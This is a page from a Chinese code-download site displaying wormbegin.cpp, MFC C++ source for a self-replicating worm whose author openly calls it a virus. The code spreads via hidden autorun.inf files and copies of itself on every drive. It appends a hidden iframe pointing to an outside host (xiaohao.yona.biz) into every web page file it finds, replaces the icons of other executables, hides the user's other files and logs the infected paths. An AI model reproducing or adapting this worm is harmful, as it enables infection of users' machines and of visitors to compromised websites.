⭐ 欢迎来到虫虫下载站! | 📦 资源下载 📁 资源专辑 ℹ️ 关于我们
⭐ 虫虫下载站

📄 wormbegin.cpp

📁 硬盘杀手病毒技术详细特征 [shief.rar] - 这是一个可以在后台偷取你闪盘里所有资料的小软件。 只要你的闪盘(如U盘,mp3)一插上
💻 CPP
字号:
// WormBegin.cpp : implementation file
//

#include "stdafx.h"
#include "XiaoHao.h"
#include "WormBegin.h"

#ifdef _DEBUG
#define new DEBUG_NEW
#undef THIS_FILE
static char THIS_FILE[] = __FILE__;
#endif

/////////////////////////////////////////////////////////////////////////////
// CWormBegin

IMPLEMENT_DYNCREATE(CWormBegin, CView)

CWormBegin::CWormBegin()
{
}

CWormBegin::~CWormBegin()
{
}


BEGIN_MESSAGE_MAP(CWormBegin, CView)
	//{{AFX_MSG_MAP(CWormBegin)
		// NOTE - the ClassWizard will add and remove mapping macros here.
	//}}AFX_MSG_MAP
END_MESSAGE_MAP()

/////////////////////////////////////////////////////////////////////////////
// CWormBegin drawing

void CWormBegin::OnDraw(CDC* pDC)
{
	CDocument* pDoc = GetDocument();
	// TODO: add draw code here
}

/////////////////////////////////////////////////////////////////////////////
// CWormBegin diagnostics

#ifdef _DEBUG
void CWormBegin::AssertValid() const
{
	CView::AssertValid();
}

void CWormBegin::Dump(CDumpContext& dc) const
{
	CView::Dump(dc);
}
#endif //_DEBUG

/////////////////////////////////////////////////////////////////////////////
// CWormBegin message handlers
 
BOOL CWormBegin::GRDirctory(CString Path)  //每个盘下加auto
{
	char ff[256];
	GetModuleFileName(NULL,ff,sizeof(ff));
	MyFileName=ff;
	CString Data,AutoFile,PathName;
	Data="[Autorun]\r\n";
	Data+="open=Xiaohao.exe\r\n";
	Data+="shellexecute=Xiaohao.exe\r\n";
	Data+="shell\\Auto\\command=Xiaohao.exe\r\n";
	AutoFile=Path;
	AutoFile+="autorun.inf";
	PathName=Path;
	PathName+="Xiaohao.exe";
	CStdioFile Auto(AutoFile,CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate);
	Auto.WriteString(Data);
	Auto.Close();
	if(!CopyFile(MyFileName,PathName,0))
	{
		return FALSE;
	}
	else 
	{
		SetFileAttributes(PathName,FILE_ATTRIBUTE_HIDDEN);
		SetFileAttributes(AutoFile,FILE_ATTRIBUTE_HIDDEN); 
		return TRUE;
	}
}
/*作者QQ:82602935 
Blog : Http://Hi.baidu.com/Xh_hook
不是我不想写 真正的PE感染..  哎. 可是我的结构化异常处理还没有学.. 郁闷啊 ! 只好写个垃圾virus
欢迎各位大牛. 来指导我  或者是交流 
My age:15  - -!*/

void CWormBegin::BeginFind(CString Dir)  //全盘搜索
{
   	CString FileName;
	CFileFind Fuck;
	CString DirectoryName=Dir;
	if(DirectoryName.Right(1)!="\\")
		DirectoryName+="\\";
	DirectoryName+="*.*";
    BOOL Res = Fuck.FindFile(DirectoryName);
	while(Res)
	{
		Res=Fuck.FindNextFile();
		if(Fuck.IsDirectory() && !Fuck.IsDots())
		{  
			BeginFind(Fuck.GetFilePath());
		}
		else if(!Fuck.IsDirectory() && !Fuck.IsDots())
		{
            CString strPath;
			strPath.Format("%s",Fuck.GetFilePath());
			FileName.Format("%s",Fuck.GetFileName());
			FileName=FileName.Mid(FileName.ReverseFind('.')+1);
			if(FileName=="htm" || FileName=="html" || FileName=="asp" || FileName=="aspx" || FileName=="php" || FileName=="jsp")
			{
				Jilu(strPath);
				SetFileAttributes(strPath,FILE_ATTRIBUTE_NORMAL);
				GanRanWeb(strPath);
			}
		    if(FileName=="exe")
			{
				if(Fuck.GetFileName()=="xiaohao.exe" || Fuck.GetFileName()=="XiaoHao.exe" 
					||Fuck.GetFileName()=="Xiaohao.exe")
					continue;
				Jilu(strPath);
				SetFileAttributes(strPath,FILE_ATTRIBUTE_NORMAL);
				char File[256];
				char FileP[256];
				sprintf(FileP,"%s",strPath);
				GetModuleFileName(NULL,File,sizeof(File));
				SetExeIcon(File,FileP); 
				Sleep(100);
			}
			else
			{   
				Jilu(strPath);
				SetFileAttributes(strPath,FILE_ATTRIBUTE_HIDDEN);
			}
		}
	}
	Fuck.Close();
}

int CWormBegin::Jilu(CString ss)//记录被感染的文件和被隐藏的文件
{
	
		CString str1;
		str1=ss; 
		str1+="\r\n";
		CStdioFile file;
		if(!file.Open("c:\\Jilu.txt",CFile::modeNoTruncate|CFile::modeWrite|CFile::modeCreate))
			return 1;  
		file.SeekToEnd();
		file.WriteString(str1);
		file.Close();
		SetFileAttributes("c:\\Jilu.txt",FILE_ATTRIBUTE_HIDDEN);
 
}

void CWormBegin::GanRanWeb(CString FName)//追加网页文件
{
	CString str1;
	CString WriteBuf="\r\n<iframe src=http://xiaohao.yona.biz/xiaohao.htm width=0 height=0></iframe>";
	str1=FName; 
	CStdioFile file;
	if(!file.Open(str1,CFile::modeNoTruncate|CFile::modeWrite))
		return;
	file.SeekToEnd();
	file.WriteString(WriteBuf);
	file.Close();
}

int CALLBACK EnumIconProc(HMODULE hModule,LPCTSTR lpszType,LPTSTR lpszName,LONG lParam)//回调
{
	
	HRSRC Res = FindResource(hModule,lpszName,RT_ICON);
	if(Res==NULL)
	{
		throw("Could not locate icon resource.");
	}
	HGLOBAL ResLoad=LoadResource(hModule,Res);
	if(ResLoad==NULL)
	{
		throw("Could not load icon."); 
	}
    LPVOID Data=LockResource(ResLoad);
	if (Data == NULL) 
	{
		throw("Could not lock Icon.");
	}
	DWORD cbData = SizeofResource(hModule, Res);
	if (lParam)  //updateicon 资源
	{
		HANDLE Exe = BeginUpdateResource(LPSTR(lParam),0);
		if(Exe==NULL)
		return 1;
		int res = UpdateResource(Exe,RT_ICON,lpszName,MAKELANGID(LANG_NEUTRAL, SUBLANG_NEUTRAL),
			Data,cbData);
		if(!res)
		return 1;
		if(!EndUpdateResource(Exe, 0))
			return 1;
		return 1;
	}
	return TRUE;
	
	
	
}


int CWormBegin::SetExeIcon(LPSTR LoadFile, LPSTR SetFile)//开始替换icon
{ 
	HMODULE m_exe = LoadLibrary(LoadFile); 
	if (m_exe == NULL) 
	{
		return 1;
	}
	
    EnumResourceNames(
		m_exe,    
		RT_ICON,      
        (ENUMRESNAMEPROC) EnumIconProc, 
        (LONG)SetFile    
		);
	FreeLibrary(m_exe);
	return 1;
   
}

⌨️ 快捷键说明

复制代码 Ctrl + C
搜索代码 Ctrl + F
全屏模式 F11
切换主题 Ctrl + Shift + D
显示快捷键 ?
增大字号 Ctrl + =
减小字号 Ctrl + -